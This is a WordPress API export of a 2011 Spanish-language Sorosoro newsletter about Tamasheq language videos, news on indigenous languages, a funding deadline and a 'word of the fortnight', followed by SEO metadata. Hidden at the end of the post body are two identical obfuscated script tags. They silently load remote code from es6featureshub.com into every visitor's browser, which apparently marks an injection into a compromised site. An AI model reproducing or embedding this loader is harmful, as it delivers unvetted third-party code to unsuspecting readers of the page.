{"id":54741,"date":"2011-08-21T17:39:20","date_gmt":"2011-08-21T15:39:20","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=54741"},"modified":"2025-10-21T22:27:24","modified_gmt":"2025-10-21T20:27:24","slug":"sorosoro-18-de-agosto-del-2011","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/","title":{"rendered":"Sorosoro, 18 de agosto del 2011 <br\/><br\/>\u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena! <br\/><br\/><br\/>"},"content":{"rendered":"<h5>Nuevos videos<\/h5>\n<p style=\"text-align: justify; \">\u00a1Nuestra serie de \u00ablecciones\u00bb de <strong>tamasheq<\/strong>, lengua de los <strong>tuareg<\/strong>, se acaba al mismo tiempo que nuestra pausa de verano! El poeta y profesor <strong>Mohamed Hamza<\/strong> ya nos ha ense\u00f1ado las <a href=\"https:\/\/www.sorosoro.org\/es\/las-cifras-en-tamasheq\">cifras<\/a> y los <a href=\"https:\/\/www.sorosoro.org\/es\/los-colores-en-tamasheq\">colores<\/a>. <strong>Moussa Ag Keyna<\/strong>, cantante y guitarrista del grupo Toumast, se encarg\u00f3 de presentarnos los <a href=\"https:\/\/www.sorosoro.org\/es\/los-dias-de-la-semana-en-tamasheq\">d\u00edas de la semana<\/a>, y esta semana las <a href=\"https:\/\/www.sorosoro.org\/es\/las-partes-del-cuerpo-en-tamasheq\">partes del cuerpo<\/a>.<\/p>\n<p style=\"text-align: justify; \">Escuche tambi\u00e9n las tres canciones de Moussa en versi\u00f3n ac\u00fastica, para escucharlas una y otra vez: <em><a href=\"https:\/\/www.sorosoro.org\/es\/innulamane-el-halcon-por-moussa-ag-keyna-del-grupo-toumast\">Innulamane (El halc\u00f3n)<\/a><\/em>, <em><a href=\"https:\/\/www.sorosoro.org\/es\/tallyatt-idaght-esta-chica-por-moussa-ag-keyna-del-grupo-toumast\">Tallyatt idaght (Esta chica)<\/a><\/em>, y <em><a href=\"https:\/\/www.sorosoro.org\/es\/kik-ayittma-\u00a1hey-hermanos-por-moussa-ag-keyna-del-grupo-toumast\">Kik ayittma (\u00a1Hey, hermanos!)<\/a><\/em>\u2026<\/p>\n<p style=\"text-align: justify; \">\n<h5>Actualidades<\/h5>\n<p style=\"text-align: justify; \">9 de agosto de 2011: mensaje del Secretario General de las Naciones Unidas <strong>Ban Ki Moon<\/strong> con motivo de la <strong>Jornada internacional de los pueblos ind\u00edgenas<\/strong>.<\/p>\n<p style=\"text-align: justify; \"><a href=\"https:\/\/www.sorosoro.org\/es\/9-de-agosto-del-2011-mensaje-del-secretario-general-de-las-naciones-unidas-ban-ki-moon-con-motivo-de-la-jornada-internacional-de-los-pueblos-indigenas\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify; \">11 de agosto del 2011: art\u00edculo en el sitio internet <em>AustraliaNews.com<\/em> sobre una nueva forma de <strong>documentaci\u00f3n de las lenguas abor\u00edgenes<\/strong>, que explota los escritos  de los oficiales de la marina brit\u00e1nica\u2026<\/p>\n<p style=\"text-align: justify; \"><a href=\"https:\/\/www.sorosoro.org\/es\/11-de-agosto-del-2011-articulo-en-el-sitio-australianews-com-acerca-de-una-nueva-forma-de-documentacion-de-las-lenguas-aborigenes\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify; \">\n<h5>Agenda<\/h5>\n<p style=\"text-align: justify; \"><strong>15 de septiembre del 2011<\/strong>: fecha l\u00edmite para enviar sus solicitudes de financiamiento a la <strong>Fundaci\u00f3n Volkswagen<\/strong>, en Alemania, en el marco de su programa <strong>DoBeS<\/strong>, a prop\u00f3sito de la  documentaci\u00f3n de las lenguas en peligro\u2026<\/p>\n<p style=\"text-align: justify; \"><a href=\"https:\/\/www.sorosoro.org\/es\/15-de-septiembre-del-2011-fecha-limite-de-entrega-de-solicitudes-de-financiamiento-a-la-fundacion-volkswagen-alemania\">Leer el art\u00edculo<\/a><\/p>\n<p style=\"text-align: justify; \">\n<h5>Sin olvidar\u2026<\/h5>\n<p style=\"text-align: justify; \">Una  nueva <a href=\"https:\/\/www.sorosoro.org\/es\/verde\">palabra de la quincena<\/a>, espera sus numerosas traducciones (y en dado caso, sus comentarios expl\u00edcitos sobre las percepciones culturales de los colores): \u00ab<strong>Verde<\/strong>\u00ab.<\/p>\n<p style=\"text-align: justify; \">Y un Soroquiz actualizado en nuestra <a href=\"http:\/\/www.sorosoro.org\/es\">p\u00e1gina de inicio<\/a>\u2026<\/p>\n<p style=\"text-align: justify; \">\n<p style=\"text-align: justify; \"><strong>\u00a1Una excelente semana a todos, y un buen regreso a los sor\u00f3filos del hemisferio norte!<\/strong><\/p>\n<p style=\"text-align: justify; \">El equipo de Sorosoro<\/p>\n<p style=\"text-align: center;\">Con el apoyo de<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p style=\"text-align: justify;\">\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nuevos videos \u00a1Nuestra serie de \u00ablecciones\u00bb de tamasheq, lengua de los tuareg, se acaba al mismo tiempo que nuestra pausa de verano! El poeta y profesor Mohamed Hamza ya nos ha ense\u00f1ado las cifras y los colores. Moussa Ag Keyna, cantante y guitarrista del grupo Toumast, se encarg\u00f3 de presentarnos los d\u00edas de la semana, [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-54741","post","type-post","status-publish","format-standard","hentry","category-actualidades-de-sorosoro"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!  - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!  - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Nuevos videos \u00a1Nuestra serie de \u00ablecciones\u00bb de tamasheq, lengua de los tuareg, se acaba al mismo tiempo que nuestra pausa de verano! El poeta y profesor Mohamed Hamza ya nos ha ense\u00f1ado las cifras y los colores. Moussa Ag Keyna, cantante y guitarrista del grupo Toumast, se encarg\u00f3 de presentarnos los d\u00edas de la semana, [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-08-21T15:39:20+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:27:24+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minuto\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!\",\"datePublished\":\"2011-08-21T15:39:20+00:00\",\"dateModified\":\"2025-10-21T20:27:24+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\"},\"wordCount\":299,\"articleSection\":[\"Novedades en Sorosoro\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\",\"url\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\",\"name\":\"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\"},\"datePublished\":\"2011-08-21T15:39:20+00:00\",\"dateModified\":\"2025-10-21T20:27:24+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/es\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!  - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/","og_locale":"es_ES","og_type":"article","og_title":"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!  - Sorosoro","og_description":"Nuevos videos \u00a1Nuestra serie de \u00ablecciones\u00bb de tamasheq, lengua de los tuareg, se acaba al mismo tiempo que nuestra pausa de verano! El poeta y profesor Mohamed Hamza ya nos ha ense\u00f1ado las cifras y los colores. Moussa Ag Keyna, cantante y guitarrista del grupo Toumast, se encarg\u00f3 de presentarnos los d\u00edas de la semana, [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/","og_site_name":"Sorosoro","article_published_time":"2011-08-21T15:39:20+00:00","article_modified_time":"2025-10-21T20:27:24+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Michel.Lemee","Tiempo de lectura":"1 minuto"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!","datePublished":"2011-08-21T15:39:20+00:00","dateModified":"2025-10-21T20:27:24+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/"},"wordCount":299,"articleSection":["Novedades en Sorosoro"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/","url":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/","name":"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/es\/#website"},"datePublished":"2011-08-21T15:39:20+00:00","dateModified":"2025-10-21T20:27:24+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/es\/2011\/08\/sorosoro-18-de-agosto-del-2011\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/es\/"},{"@type":"ListItem","position":2,"name":"Sorosoro, 18 de agosto del 2011 \u00a1Sorosoro regresa despu\u00e9s de las vacaciones de verano, con m\u00e1s v\u00eddeos tamasheq, actualidades, la agenda, y una nueva palabra de la quincena!"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/es\/#website","url":"https:\/\/www.sorosoro.org\/es\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/es\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/es\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/54741","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/comments?post=54741"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/posts\/54741\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/media?parent=54741"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/categories?post=54741"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/es\/wp-json\/wp\/v2\/tags?post=54741"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}